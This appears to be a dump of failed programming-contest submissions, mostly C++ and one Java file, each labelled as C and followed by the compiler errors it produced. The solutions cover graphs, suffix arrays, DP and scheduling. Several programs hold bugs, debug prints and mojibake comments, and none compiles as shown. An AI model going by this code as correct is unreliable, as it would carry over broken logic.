#include<stdio.h> #include<string.h> #include<algorithm> #include<queue> using namespace std; int N,M; struct bian { int u,v,w; int next; }E[60000],e[300000]; int dis[60000]; int vis[60000]; int dist[60000],vst[60000]; int head[60000]; int num; int dfs(int u) { vst[u]=true; for(int h=head[u];h!=-1;h=e[h].next) { int v=e[h].v; int w=e[h].w; if(dist[v]>dist[u]+w){ dist[v]=dist[u]+w; if(vst[v]) return v; int ret=dfs(v); if(ret!=-1) return ret; } } vst[u]=false; return -1; } int negcir() { memset(dist,0,sizeof(dist)); memset(vst,0,sizeof(vst)); for(int u=0;u<=N;u++){ int ret=dfs(u); if(ret!=-1) return ret; } return -1; } void add(int u,int v,int w) { e[num].v=v; e[num].next=head[u]; e[num].w=w; head[u]=num++; } void build(int mid) { num=0; memset(head,-1,sizeof(head)); for(int i=1;i<=mid;i++) { add(E[i].v,E[i].u,E[i].w); add(E[i].u,E[i].v,E[i].w); } for(int i=0;i<N;i++) add(N,i,0); } bool ok(int mid) { build(mid); if(negcir()==-1) return 1; return 0; } void spfa() { build(M); memset(dis,63,sizeof(dis)); memset(vis,0,sizeof(vis)); dis[N]=0; queue<int>q; q.push(N); vis[N]=1; while(!q.empty()) { int x=q.front(); vis[x]=0; q.pop(); for(int h=head[x];h!=-1;h=e[h].next) { int v=e[h].v; int w=e[h].w; if(dis[x]+w<dis[v]) { dis[v]=dis[x]+w; if(!vis[v]) { q.push(v); vis[v]=1; } } } } } int main() { scanf("%d%d",&N,&M); for(int i=1;i<=M;i++) scanf("%d%d%d",&E[i].u,&E[i].v,&E[i].w); if(ok(M)) { spfa(); puts("Possible"); for(int i=0;i<N;i++) printf("%d\n",dis[i]); } else { int l=1,r=M; int ans=M; if(l<r) { int mid=(l+r)>>1; if(ok(mid)) l=mid+1; else { ans=min(ans,mid); r=mid; } } printf("%d\n",ans); } }
main.c:3:9: fatal error: algorithm: No such file or directory 3 | #include<algorithm> | ^~~~~~~~~~~ compilation terminated.
s024760502
p00000
C
#include <stdio.h> #include <string.h> #define ll long long #define clr(a,b) memset(a,b,sizeof(a)) using namespace std; const int N = 1200100; const int M = 1000100; const int Maxn = 100100; char str[M], tmp[Maxn]; int r[N], vis[N], cnt[M]; int id[Maxn]; int ua[N], ub[N], us[N], sa[N]; int cmp(int *r,int a,int b,int l){ return r[a]==r[b]&&r[a+l]==r[b+l]; } void da(int *r,int *sa,int n,int m){ //da(r, sa, n + 1, 256);(r[n] = 0) int i,j,p,*x=ua,*y=ub,*t; //r[]蟄俶叛蜴溷ュ礼ャヲ荳イ?御ク比サ残har蜿倅クコint for(i=0;i<m;i++) us[i]=0; //sa[i]陦ィ遉コ謗貞錐荳コi逧?錘郛?オキ蟋倶ク区?(i>=1,sa[i]>=0) for(i=0;i<n;i++) us[x[i]=r[i]]++; for(i=1;i<m;i++) us[i]+=us[i-1]; for(i=n-1;i>=0;i--) sa[--us[x[i]]]=i; for(j=1,p=1;p<n;j*=2,m=p){ for(p=0,i=n-j;i<n;i++) y[p++]=i; for(i=0;i<n;i++) if(sa[i]>=j) y[p++]=sa[i]-j; for(i=0;i<m;i++) us[i]=0; for(i=0;i<n;i++) us[x[i]]++; for(i=1;i<m;i++) us[i]+=us[i-1]; for(i=n-1;i>=0;i--) sa[--us[x[y[i]]]]=y[i]; for(t=x,x=y,y=t,p=1,x[sa[0]]=0,i=1;i<n;i++) x[sa[i]]=cmp(y,sa[i-1],sa[i],j)?p-1:p++; } } int rank[N],height[N]; //height[i]荳コ謗堤ャャi-1蜥檎ャャi逧?錘郛?噪蜈ャ蜈ア蜑咲シ?柄蠎ヲ void calheight(int *r,int *sa,int n){ int i,j,k=0; for(i=1;i<=n;i++) rank[sa[i]]=i; for(i=0;i<n;height[rank[i++]]=k) for(k?k--:0,j=sa[rank[i]-1];r[i+k]==r[j+k];k++); } int *RMQ = height; // RMQ荳コ譟・隸「逧?焚扈?霑咎?RMQ=height //int RMQ[N]; int mm[N]; int best[20][N]; //best[i][j]陦ィ遉コ[j, j + 2^i)蛹コ髣エ荳ュ逧?怙蟆丞? void initRMQ(int n){ int i,j,a,b; for(mm[0]=-1,i=1;i<=n;i++) mm[i]=((i&(i-1))==0)?mm[i-1]+1:mm[i-1]; for(i=1;i<=n;i++) best[0][i]=i; for(i=1;i<=mm[n];i++) for(j=1;j<=n+1-(1<<i);j++){ a=best[i-1][j]; b=best[i-1][j+(1<<(i-1))]; if(RMQ[a]<RMQ[b]) best[i][j]=a; else best[i][j]=b; } } int main(){ int T, n, len, tlen, st, ed; ll ans=0; scanf("%d", &T); for(int cs=1; cs<=T; cs++){ scanf("%s", str); len=strlen(str); for(int i=0; i<len; i++) { r[i]=str[i]-'a'+1; vis[i]=0; cnt[i]=0; } tlen=len; scanf("%d", &n); for(int i=1; i<=n; i++){ scanf("%s", tmp); r[tlen]=29; vis[tlen]=-1; tlen++; id[i]=tlen+1; int ltmp=strlen(tmp); for(int j=0; j<ltmp; j++) { r[tlen]=tmp[j]-'a'+1; vis[tlen++]=i; } } id[n+1]=tlen; r[tlen]=0; da(r, sa, tlen+1, 35); calheight(r, sa, tlen); height[1]=0; height[tlen+1]=0; printf("tlen==%d\n", tlen); for(int i=1; i<=tlen; i++){ for(int j=sa[i]; j<tlen; j++) printf("%c", r[j]+'a'-1); puts(""); } ans=0; for(int i=1; i<=tlen; i++){ //pai ming int t=sa[i], num; num=vis[t]; //t shi xiabiao, num shi xuhao if(num>0 && t==id[ num ]){ if(height[i+1]>=id[num+1]-id[num]){ ed=i+1; while(height[ed]>=id[num+1]-id[num]) { if(vis[sa[ed]]==0) cnt[sa[ed]]=1; ed++; } } if(height[i] >=id[num+1]-id[num]){ st=i; while(st>=2 && height[st]>=id[num+1]-id[num]) { if(vis[sa[st-1]]==0) cnt[sa[st-1]]=1; st--; } } } } for(int i=1; i<=tlen; i++){ int t=sa[i], num; num=vis[t]; if( num==0 && cnt[t]==0) ans+=len-t; } printf("Case #%d: %lld\n", cs, ans); } return 0; }
main.c:5:1: error: unknown type name 'using' 5 | using namespace std; | ^~~~~ main.c:5:17: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'std' 5 | using namespace std; | ^~~ main.c:10:6: error: variably modified 'str' at file scope 10 | char str[M], tmp[Maxn]; | ^~~ main.c:10:14: error: variably modified 'tmp' at file scope 10 | char str[M], tmp[Maxn]; | ^~~ main.c:11:5: error: variably modified 'r' at file scope 11 | int r[N], vis[N], cnt[M]; | ^ main.c:11:11: error: variably modified 'vis' at file scope 11 | int r[N], vis[N], cnt[M]; | ^~~ main.c:11:19: error: variably modified 'cnt' at file scope 11 | int r[N], vis[N], cnt[M]; | ^~~ main.c:12:5: error: variably modified 'id' at file scope 12 | int id[Maxn]; | ^~ main.c:14:5: error: variably modified 'ua' at file scope 14 | int ua[N], ub[N], us[N], sa[N]; | ^~ main.c:14:12: error: variably modified 'ub' at file scope 14 | int ua[N], ub[N], us[N], sa[N]; | ^~ main.c:14:19: error: variably modified 'us' at file scope 14 | int ua[N], ub[N], us[N], sa[N]; | ^~ main.c:14:26: error: variably modified 'sa' at file scope 14 | int ua[N], ub[N], us[N], sa[N]; | ^~ main.c:35:5: error: variably modified 'rank' at file scope 35 | int rank[N],height[N]; //height[i]荳コ謗堤ャャi-1蜥檎ャャi逧?錘郛?噪蜈ャ蜈ア蜑咲シ?柄蠎ヲ | ^~~~ main.c:35:13: error: variably modified 'height' at file scope 35 | int rank[N],height[N]; //height[i]荳コ謗堤ャャi-1蜥檎ャャi逧?錘郛?噪蜈ャ蜈ア蜑咲シ?柄蠎ヲ | ^~~~~~ main.c:44:5: error: variably modified 'mm' at file scope 44 | int mm[N]; | ^~ main.c:45:5: error: variably modified 'best' at file scope 45 | int best[20][N]; //best[i][j]陦ィ遉コ[j, j + 2^i)蛹コ髣エ荳ュ逧?怙蟆丞? | ^~~~
s868664524
p00000
C
#include <stdio.h> #include <string.h> #include <algorithm> using namespace std; const int N = 110; int n,sum,sumB; int B[N],base[N],pt1[20],pt2[20]; int time[N][20],base1[20][N],base2[20][N]; int ww[N][20],vv[N][20],f[N][1100]; int main() { freopen("C://in.txt","r",stdin); int t; scanf("%d",&t); while(t--) { scanf("%d %d",&n,&sum); sumB=0; for(int i=1; i<=n; i++) { scanf("%d",&B[i]); sumB+=B[i]; for(int j=0; j<10; j++) scanf("%d",&time[i][j]); } memset(base1,0,sizeof(base1)); memset(base2,0,sizeof(base2)); memset(pt1,0,sizeof(pt1)); memset(pt2,0,sizeof(pt2)); for(int i=1; i<=3; i++) { scanf("%d",&pt1[i]); for(int j=1; j<=n; j++) scanf("%d",&base1[i][j]); } for(int i=1; i<=3; i++) { scanf("%d",&pt2[i]); for(int j=1; j<=n; j++) scanf("%d",&base2[i][j]); } int extra=0,tmp; double ans=-1; for(int i=0; i<=3; i++) { for(int j=0; j<=3; j++) { tmp=sum; extra=i+j; tmp-=pt1[i]; tmp-=pt2[j]; for(int k=1; k<=n; k++) base[k]=max(base1[i][k],base2[j][k])*10; for(int k=1; k<=n; k++) { int x=base[k]/10; while(base[k]<60) { tmp-=time[k][x]; base[k]+=10; x++; } } if(tmp<=0) continue; printf("%d %d %d \n",i,j,tmp); memset(ww,0,sizeof(ww)); memset(vv,0,sizeof(vv)); for(int k=1; k<=n; k++) { for(int p=base[k]/10+1; p<=10; p++) { ww[k][p]=ww[k][p-1]+time[k][p-1]; vv[k][p]=p*10*B[k]; // printf("%d\n",vv[k][p]); } } for(int k=1; k<=n; k++) printf("%d ",base[k]); puts(""); memset(f,0,sizeof(f)); for(int k=1; k<=n; k++) for(int v=tmp; v>=0; v--) for(int p=base[k]/10; p<=10; p++) if(v>=ww[k][p]) f[k][v]=max(f[k-1][v],f[k-1][v-ww[k][p]]+vv[k][p]); // printf("@@%d %d\n",f[n][tmp]/sumB,extra); ans=max(ans,f[n][tmp]*1.0/sumB+extra); // printf("%lf\n",ans); } } printf("%lf\n",ans); } return 0; }
main.c:3:10: fatal error: algorithm: No such file or directory 3 | #include <algorithm> | ^~~~~~~~~~~ compilation terminated.
s266954572
p00000
C
#include <stdio.h> #include <iostream> #include <string.h> #include <algorithm> #include <string> #include <iterator> #include <map> using namespace std; char str[55][110]; int n; map<string,int>mp; map<string,int>::iterator p; string ss[5500]; int slen[110]; int main() { freopen("C://in.txt","r",stdin); int t; scanf("%d",&t); while(t--) { scanf("%d",&n); getchar(); for(int i=0;i<n;i++) gets(str[i]); for(int i=0;i<n;i++) { int len=strlen(str[i]); for(int j=0;j<len;j++) if(str[i][j]>='A'&&str[i][j]<='Z') str[i][j]=str[i][j]+32; } int x; char s[110]; for(int i=0;i<n;i++) { int len=strlen(str[i]); x=0; for(int j=0;j<=len;j++) { if(j==len||str[i][j]<'a'||str[i][j]>'z') { if(x==0) continue; s[x]='\0'; if(mp.find((string)s)==mp.end()) mp[(string)s]=0; else mp[(string)s]++; x=0; continue; } s[x++]=str[i][j]; } } int Max=-1; memset(slen,0,sizeof(slen)); for(p=mp.begin();p!=mp.end();p++) { cout<<(p->first)<<" "<<(p->second)<<endl; if(slen[(p->second)]<(p->first).length()) slen[(p->second)]=(p->first).length(); if(Max<(p->second)) Max=(p->second); } int cnt=0,flag=1; for(int i=Max;i>1;i--) { if(slen[i]==0) continue; cnt=0; for(p=mp.begin();p!=mp.end();p++) { if(((p->second)==i)&&((p->first).length())==slen[i]) { ss[cnt++]=(p->first); } } if(cnt<2) { cout<<ss[cnt]<<" "; if(flag==0) cout<<" "; flag=1; } else { sort(ss,ss+cnt); cout<<ss[cnt-2]<<" "; if(flag==0) cout<<" "; flag=1; } } puts(""); } }
main.c:2:10: fatal error: iostream: No such file or directory 2 | #include <iostream> | ^~~~~~~~~~ compilation terminated.
s237843804
p00000
C
#include <stdio.h> #include <string.h> #define ll long long #include <algorithm> #define clr(a,b) memset(a,b,sizeof(a)) using namespace std; const int LMI=1000005; const int Mod=1000000; int N, M;ll X; int val[LMI], bit[LMI];//扈溯ョ。 蛹コ髣エ豎ょ柱 // 謨ー謐ョ蟄俶叛莉?蠑?ァ?蛻晏ァ句喧 clr(av, 0); int lowbit(int a) { return a & (-a);} int query(int a) { int ret=0; for(ret=0; a>0; ret+=val[a], a-=lowbit(a)); return ret; } void insert(int a, int add, int n) { for(; a<=n; val[a]+=add, a+=lowbit(a));//n譏ッ譛?、ァ闌?峩 } int que(int a) { int ret=0; for(ret=0; a>0; ret+=bit[a], a-=lowbit(a)); return ret; } void ins(int a, int add, int n) { for(; a<=n; bit[a]+=add, a+=lowbit(a));//n譏ッ譛?、ァ闌?峩 } void build(int n){ for(int i=1; i<=n; i++) bit[i]=lowbit(i); } int delro[1005], delco[1005], b[1005][1005], a[1005][1005], num[LMI], start[LMI]; struct node{ int val, ro, co; }B[LMI]; int cmp(node u, node v){ if(u.val!=v.val) return u.val<v.val; else { if(u.ro!=v.ro) return u.ro<v.ro; else{ if(u.co!=v.co) return u.co<v.co; else return 0; } } } int bsh1(int low, int high, int v){ int mid; while (low<high){ mid=(low+high)>>1; if(query(mid)<v)low=mid+1; //螟ァ莠守ュ我コ思 // if(a[mid]<=v)low=mid+1; //螟ァ莠思 else high=mid; } return low; } int bsh2(int st, int low, int high, int v){ int mid; st=que(st); while (low<high){ mid=(low+high)>>1; if(que(mid) - st<v)low=mid+1; //螟ァ莠守ュ我コ思 // if(a[mid]<=v)low=mid+1; //螟ァ莠思 else high=mid; } return low; } void solve(){ for(int i=0; i<=N; i++) delro[i]=0; for(int i=0; i<=M; i++) delco[i]=0; int st=0, mv=-1; B[0].val=X; B[0].ro=B[0].co=0; a[0][0]=X; for(int i=0; i<N; i++){ for(int j=0; j<M; j++){ if(st==0) {st++; continue;} B[st].ro=i; B[st].co=j; ll t=X*B[st].ro%Mod; X=1234*t*t + 5678*X*B[st].co + 91011; X=X%Mod + 1; B[st].val=X; a[i][j]=B[st].val; mv=max(mv, B[st].val); st++; } } sort(B, B+N*M, cmp); for(int i=0; i<=mv; i++) val[i]=0; build(N*M); int pre=-1, cnt; for(int i=0; i<M*N; i++){ insert(B[i].val, 1, mv); if(B[i].val!=pre){ if(pre!=-1) { num[pre]=cnt; }; pre=B[i].val; cnt=1; start[B[i].val]=i+1; b[B[i].ro][B[i].co]=cnt; }else{ cnt++; b[B[i].ro][B[i].co]=cnt; } } num[pre]=cnt; for(int tot=N*M; tot>0; ){ int mid=(tot+1)/2; int x=bsh1(1, mv+1, mid); int yu=query(x)-mid; yu=num[x]-yu; int id=bsh2(start[x], start[x], N*M+1, yu-1); int ro=B[id-1].ro, co=B[id-1].co; int sum=0; for(int j=0; j<M; j++){ if(!delco[j] && a[ro][j]!=0){ insert(a[ro][j], -1, mv); ins(b[ro][j]+start[a[ro][j]]-1, -1, N*M); a[ro][j]=0; sum++; } } for(int i=0; i<N; i++){ if(!delro[i] && a[i][co]!=0){ insert(a[i][co], -1, mv); ins(b[i][co]+start[a[i][ro]]-1, -1, N*M); a[i][co]=0; sum++; } } delro[ro]=delco[co]=1; tot-=sum; } } int main(){ //#ifdef H403 // freopen("c:\\in.txt","r",stdin); //#endif int T; scanf("%d", &T); for(int cs=1; cs<=T; cs++){ printf("Case #%d:\n", cs); scanf("%d%d%lld", &N, &M, &X); solve(); } return 0; }
main.c:4:10: fatal error: algorithm: No such file or directory 4 | #include <algorithm> | ^~~~~~~~~~~ compilation terminated.
s210834697
p00000
C
#include <stdio.h> #include <string.h> #include <algorithm> #define inf 1e9 #define forn(i,n) for(int i=0;i<n;i++) #define clr(a,b) memset(a,0,sizeof(b)); using namespace std; const int SIZE= 2100; int in[SIZE],sum[SIZE],dp[SIZE][SIZE],s[SIZE][SIZE],n,len; char sz[SIZE]; void print(int l,int r){ if(l==r){ for(int i=0;i<len;i++) printf("%c",sz[i]); puts(""); } else{ ++len; sz[len-1]='0'; print(l,s[l][r]); sz[len-1]='1'; print(s[l][r]+1,r); --len; } } void solve() { sum[0]=0; clr(dp,0x0f); forn(i,n) { sum[i+1]=sum[i]+in[i]; dp[i][i]=in[i]; s[i][i]=i; } for(int step=1; step<n; step++) for(int i=0; i+step<n; i++) { int choice=-1; int tmp=inf; for(int k=s[i][i+step-1]; k<=s[i+1][i+step]; ++k) { if(tmp>dp[i][k-1]+dp[k][i+step]+sum[i+step+1]-sum[i]) { tmp=dp[i][k-1]+dp[k][i+step]+sum[i+step+1]-sum[i]; choice=k; } } dp[i][i+step]=tmp; s[i][i+step]=choice; printf("%d %d %d %d\n",i,step,s[i][i+step],dp[i][i+step]); } len=0; print(0,n-1); } void icpc(){ freopen("C://in.txt","r",stdin); while(~scanf("%d",&n)) { forn(i,n) scanf("%d",in+i); solve(); // printf("%d\n",solve()); } } int main() { icpc(); }
main.c:3:10: fatal error: algorithm: No such file or directory 3 | #include <algorithm> | ^~~~~~~~~~~ compilation terminated.
s312363502
p00000
C
#include <stdio.h> #include <math.h> #include <algorithm> #include <stdlib.h> #include <time.h> #include <queue> #include <vector> using namespace std; const int n=3; const int mod=100; struct my{ int t,come,tt; bool operator <(const my &u)const{ return come<u.come; } }a[n+1]; void init(){ srand(time(NULL)); for(int i=0;i<n;i++)scanf("%d %d",&a[i].come,&a[i].t),a[i].tt=a[i].t; // for(int i=0;i<n;i++)a[i].t=rand()%mod+1,a[i].come=rand()%mod,a[i].tt=a[i].t; } void fcfs(){ double aroundtime=0,paroundtime=0; sort(a,a+n); int now=a[0].come; for(int i=0;i<n;i++){ aroundtime+=now+a[i].t-a[i].come; paroundtime+=1.0*(now+a[i].t-a[i].come)/a[i].t; now+=a[i].t; } aroundtime/=n; paroundtime/=n; printf("fcfs: %lf %lf\n",aroundtime,paroundtime); } struct cmp{ bool operator ()(const my &a,const my &b)const{ return a.t>b.t; } }; void spn(){ double aroundtime=0,paroundtime=0; sort(a,a+n); priority_queue <my,vector <my>, cmp> que; int now=a[0].come; for(int i=0;i<n;i++)if(a[i].come<=now)que.push(a[i]); else{ if(!que.empty()){ my tmp=que.top();que.pop(); aroundtime+=now+tmp.t-tmp.come; paroundtime+=1.0*(now+tmp.t-tmp.come)/tmp.t; now+=tmp.t; // printf("%d\n",tmp.come); }else{ now=a[i].come; } i--; } while(!que.empty()){ my tmp=que.top();que.pop(); aroundtime+=now+tmp.t-tmp.come; paroundtime+=1.0*(now+tmp.t-tmp.come)/tmp.t; now+=tmp.t; // printf("%d\n",tmp.come); } aroundtime/=n; paroundtime/=n; printf("spn: %lf %lf\n",aroundtime,paroundtime); } void rr(){ double aroundtime=0,paroundtime=0; sort(a,a+n); queue <my> que; int round=1; int now=a[0].come; for(int i=0;i<n;)if(a[i].come<=now)que.push(a[i++]); else{ if(!que.empty()){ my tmp=que.front();que.pop(); if(tmp.tt>round){ now+=round; for(;i<n;)if(a[i].come<=now)que.push(a[i++]); else break; tmp.tt-=round; que.push(tmp); } else{ aroundtime+=now+tmp.tt-tmp.come; paroundtime+=1.0*(now+tmp.tt-tmp.come)/tmp.t; now+=tmp.tt; } }else now=a[i].come; } while(!que.empty()){ my tmp=que.front();que.pop(); if(tmp.tt>round){ now+=round; tmp.tt-=round; que.push(tmp); } else{ aroundtime+=now+tmp.tt-tmp.come; paroundtime+=1.0*(now+tmp.tt-tmp.come)/tmp.t; now+=tmp.tt; } } aroundtime/=n; paroundtime/=n; printf("rr: %lf %lf\n",aroundtime,paroundtime); } int main(){ init(); fcfs(); spn(); rr(); return 0; }
main.c:3:10: fatal error: algorithm: No such file or directory 3 | #include <algorithm> | ^~~~~~~~~~~ compilation terminated.
s772003739
p00000
C
#include <stdio.h> #include <string.h> #include <algorithm> #include <queue> #include <map> #define clr(a,b) memset(a,b,sizeof(a)) using namespace std; const int N=300005; const int M=2000000; struct que{ char op[2]; int l, r; }que[N]; int a[2*N]; map< pair<int, int> , int > ma; struct node{ int son[4], x1, y1, x2, y2; int num; }tr[M]; int sta[M], top, tot, Max; void init(int ro, int x1, int y1, int x2, int y2){ tr[ro].x1=x1; tr[ro].y1=y1; tr[ro].x2=x2; tr[ro].y2=y2; tr[ro].num=0; memset(tr[ro].son, 0, sizeof(tr[ro].son)); return ; } void insert(int ro, int x, int y){ if(tr[ro].x1==tr[ro].x2 && tr[ro].y1==tr[ro].y2){ if(tr[ro].x1==x && tr[ro].y1==y) tr[ro].num++; return ; } tr[ro].num++; int midx=(tr[ro].x1+tr[ro].x2)>>1; int midy=(tr[ro].y1+tr[ro].y2)>>1; if(tr[ro].x1<=x && x<=midx){ if(tr[ro].y1<=y && y<=midy){ if(tr[ro].son[0]==0){ if(top){ init(sta[top-1], tr[ro].x1, tr[ro].y1, midx, midy); tr[ro].son[0]=sta[top-1]; top--; }else{ init(tot, tr[ro].x1, tr[ro].y1, midx, midy); tr[ro].son[0]=tot; tot++; } } puts("AA"); insert(tr[ro].son[0], x, y); } if(midy<y && y<=tr[ro].y2){ if(tr[ro].son[1]==0){ if(top){ init(sta[top-1], tr[ro].x1, midy+1, midx, tr[ro].y2); tr[ro].son[1]=sta[top-1]; top--; }else{ init(tot, tr[ro].x1, midy+1, midx, tr[ro].y2); tr[ro].son[1]=tot; tot++; } } puts("BB"); insert(tr[ro].son[1], x, y); } }else{ if(tr[ro].y1<=y && y<=midy){ if(tr[ro].son[3]==0){ if(top){ init(sta[top-1], midx+1, tr[ro].y1, tr[ro].x2, midy); tr[ro].son[3]=sta[top-1]; top--; }else{ init(tot, midx+1, tr[ro].y1, tr[ro].x2, midy); tr[ro].son[3]=tot; tot++; } } puts("DD"); insert(tr[ro].son[3], x, y); } if(midy<y && y<=tr[ro].y2){ if(tr[ro].son[2]==0){ if(top){ init(sta[top-1], midx+1, midy+1, tr[ro].x2, tr[ro].y2); tr[ro].son[2]=sta[top-1]; top--; }else{ init(tot, midx+1, midy+1, tr[ro].x2, tr[ro].y2); tr[ro].son[2]=tot; tot++; } } puts("CCC"); insert(tr[ro].son[2], x, y); } } } int query(int ro, int x, int y){ if(x<=tr[ro].x1 && y<=tr[ro].y1) return tr[ro].num; int ans=0; for(int i=0; i<4; i++) if(tr[ro].son[i]!=0){ int t=tr[ro].son[i]; if(tr[t].x2>=x && tr[t].y2>=y) ans+=query(t, x, y); } return ans; } void del(int ro, int x, int y){ if(tr[ro].x1==tr[ro].x2 && tr[ro].y1==tr[ro].y2){ if(tr[ro].x1==x && tr[ro].y1==y) tr[ro].num--; return ; } tr[ro].num--; for(int i=0; i<4; i++) if(tr[ro].son[i]!=0){ int t=tr[ro].son[i]; if(tr[t].x1<=x && x<=tr[t].x2 && tr[t].y1<=y && y<=tr[t].y2) del(t, x, y); if(tr[t].num==0){ tr[ro].son[i]=0; sta[top++]=t; } } } int main(){ int i, j; Max=0; i=0; j=0; while(scanf("%s", que[i].op)!=EOF){ scanf("%d%d", &que[i].l, &que[i].r); a[j]=que[i].l; a[j+1]=que[i].r; Max=max(Max, max(a[j], a[j+1])); i++; j+=2; if(i==5) break; } sort(a, a+2*i); Max=lower_bound(a, a+2*i, Max)-a+1; Max+=10; printf("Max==%d\n", Max); ma.clear(); init(1, 1, 1, Max, Max); top=0; tot=1; for(int x=0; x<i; x++){ que[x].r=Max-que[x].r; if(que[x].op[0]=='+'){ printf("%d\n", query(1, que[x].l, que[x].r)); ma[make_pair(que[x].l, que[x].r)]=x; insert(1, que[x].l, que[x].r); }else{ if(ma.find(make_pair(que[x].l, que[x].r))!=ma.end()){ ma.erase(make_pair(que[x].l, que[x].r)); del(1, que[x].l, que[x].r); } } } return 0; }
main.c:3:10: fatal error: algorithm: No such file or directory 3 | #include <algorithm> | ^~~~~~~~~~~ compilation terminated.
s271356475
p00000
C
#include<iostream> #include<cstdio> #include<algorithm> #include<cstring> #include<vector> #include<set> #include<map> #include<cmath> #define MAXN 55 #define MAXM 100010 #define EPS 1e-7 using namespace std; set<int> oldPro; set<int> newPro; map<string, int> team; bool p[MAXM]; vector<int> rating; int dbcmp(double x, double y) { if (fabs(x - y) < EPS) { return 0; } else { return x > y ? 1 : -1; } } struct Person { string name; string Team; string male; vector<int> solve; vector<int> contest; double val; friend bool operator<(Person a, Person b) { if (dbcmp(a.val, b.val) == 0) { return a.name < b.name; } else { return dbcmp(a.val, b.val) > 0; } } } person[MAXN * 10]; void init() { oldPro.clear(); newPro.clear(); team.clear(); rating.clear(); int i, j; memset(p, true, sizeof(p)); for (i = 2; i * i < MAXM; i++) { if (p[i]) { for (j = i * i; j < MAXN; j += i) { p[j] = false; } } } p[0] = p[1] = false; } double gao(int k) { double ans; int i; bool flag; ans = 0; for (i = 0; i < (int) person[k].solve.size(); i++) { flag = true; if (newPro.count(person[k].solve[i])) { ans += 2.5; flag = false; } if (oldPro.count(person[k].solve[i])) { ans += 1.5; flag = false; } if (p[person[k].solve[i]]) { ans++; flag = false; } if (flag) { ans += 0.3; } } i = team[person[k].Team]; if (i == 1) { ans += 36; } else if (i == 2) { ans += 27; } else if (i == 3) { ans += 18; } ans += max(0, (rating[rating.size() - 3] - 1200) / 100) * 1.5; if (person[k].male == "F") { ans += 33; } return ans; } int main() { int T; int N, M; int R; int S; int Q; int P; int C; int i, j; int prize; string name; cin >> T; while (T--) { init(); cin >> N >> M; cin >> R; for (i = 0; i < R; i++) { cin >> j; oldPro.insert(j); } cin >> S; for (i = 0; i < S; i++) { cin >> j; newPro.insert(j); } cin >> Q; for (i = 0; i < Q; i++) { cin >> name >> prize; team[name] = prize; } for (i = 0; i < N; i++) { cin >> person[i].name >> person[i].Team >> person[i].male >> P >> C; person[i].solve.clear(); person[i].contest.clear(); while (P--) { cin >> j; person[i].solve.push_back(j); } while (C--) { cin >> j; person[i].solve.push_back(j); rating.push_back(j); } } sort(rating.begin(), rating.end()); for (i = 0; i < N; i++) { person[i].val = gao(i); } sort(person, person + N); for (i = 0; i < M; i++) { printf("%s %.3lf\n", person[i].name.c_str(), person[i].val); } } return 0; }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s048777831
p00000
C
import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.util.*; import java.math.*; import java.util.ArrayList; class Solve { final int MAXN=20010; final long INF=10000000000L; BigInteger []arr=new BigInteger[MAXN]; Solve() { int he=0,tail=0,tmp,cnt=0; arr[tail++]=new BigInteger("1"); arr[tail++]=new BigInteger("5"); arr[tail++]=new BigInteger("6"); BigInteger tt,wei=BigInteger.valueOf(1),we2=BigInteger.valueOf(10); for(int h=1;h<=1999&&tail<MAXN;++h) { tmp=tail; wei=wei.multiply(BigInteger.valueOf(10)); we2=we2.multiply(BigInteger.valueOf(10)); cnt=0; for(he=tmp-1;he>=0&&cnt<2;--he) { for(int i=1;i<=9;++i) { tt=arr[he].add(BigInteger.valueOf(i).multiply(wei)); if(tt.multiply(tt).mod(we2).equals(tt)) { arr[tail++]=tt; ++cnt; break; } } } System.out.println(""+(h+1)+" "+tail); } } } public class Main { public static void main(String []args) { new Solve(); System.out.println("Over"); } }
main.c:1:1: error: unknown type name 'import' 1 | import java.io.File; | ^~~~~~ main.c:1:12: error: expected '=', ',', ';', 'asm' or '__attribute__' before '.' token 1 | import java.io.File; | ^ main.c:2:1: error: unknown type name 'import' 2 | import java.io.FileInputStream; | ^~~~~~ main.c:2:12: error: expected '=', ',', ';', 'asm' or '__attribute__' before '.' token 2 | import java.io.FileInputStream; | ^ main.c:3:1: error: unknown type name 'import' 3 | import java.io.FileNotFoundException; | ^~~~~~ main.c:3:12: error: expected '=', ',', ';', 'asm' or '__attribute__' before '.' token 3 | import java.io.FileNotFoundException; | ^ main.c:4:1: error: unknown type name 'import' 4 | import java.util.*; | ^~~~~~ main.c:4:12: error: expected '=', ',', ';', 'asm' or '__attribute__' before '.' token 4 | import java.util.*; | ^ main.c:5:1: error: unknown type name 'import' 5 | import java.math.*; | ^~~~~~ main.c:5:12: error: expected '=', ',', ';', 'asm' or '__attribute__' before '.' token 5 | import java.math.*; | ^ main.c:6:1: error: unknown type name 'import' 6 | import java.util.ArrayList; | ^~~~~~ main.c:6:12: error: expected '=', ',', ';', 'asm' or '__attribute__' before '.' token 6 | import java.util.ArrayList; | ^ main.c:7:1: error: unknown type name 'class' 7 | class Solve | ^~~~~ main.c:8:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token 8 | { | ^ main.c:42:1: error: unknown type name 'public' 42 | public class Main | ^~~~~~ main.c:42:14: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'Main' 42 | public class Main | ^~~~
s303076896
p00000
C
j;main(i){for(;j>8?j=i++<9;++j;printf("%dx%d=%d\n",i,j,i*j));}
main.c:1:1: warning: data definition has no type or storage class 1 | j;main(i){for(;j>8?j=i++<9;++j;printf("%dx%d=%d\n",i,j,i*j));} | ^ main.c:1:1: error: type defaults to 'int' in declaration of 'j' [-Wimplicit-int] main.c:1:3: error: return type defaults to 'int' [-Wimplicit-int] 1 | j;main(i){for(;j>8?j=i++<9;++j;printf("%dx%d=%d\n",i,j,i*j));} | ^~~~ main.c: In function 'main': main.c:1:3: error: type of 'i' defaults to 'int' [-Wimplicit-int] main.c:1:27: error: expected ':' before ';' token 1 | j;main(i){for(;j>8?j=i++<9;++j;printf("%dx%d=%d\n",i,j,i*j));} | ^ | :
s159287552
p00000
C
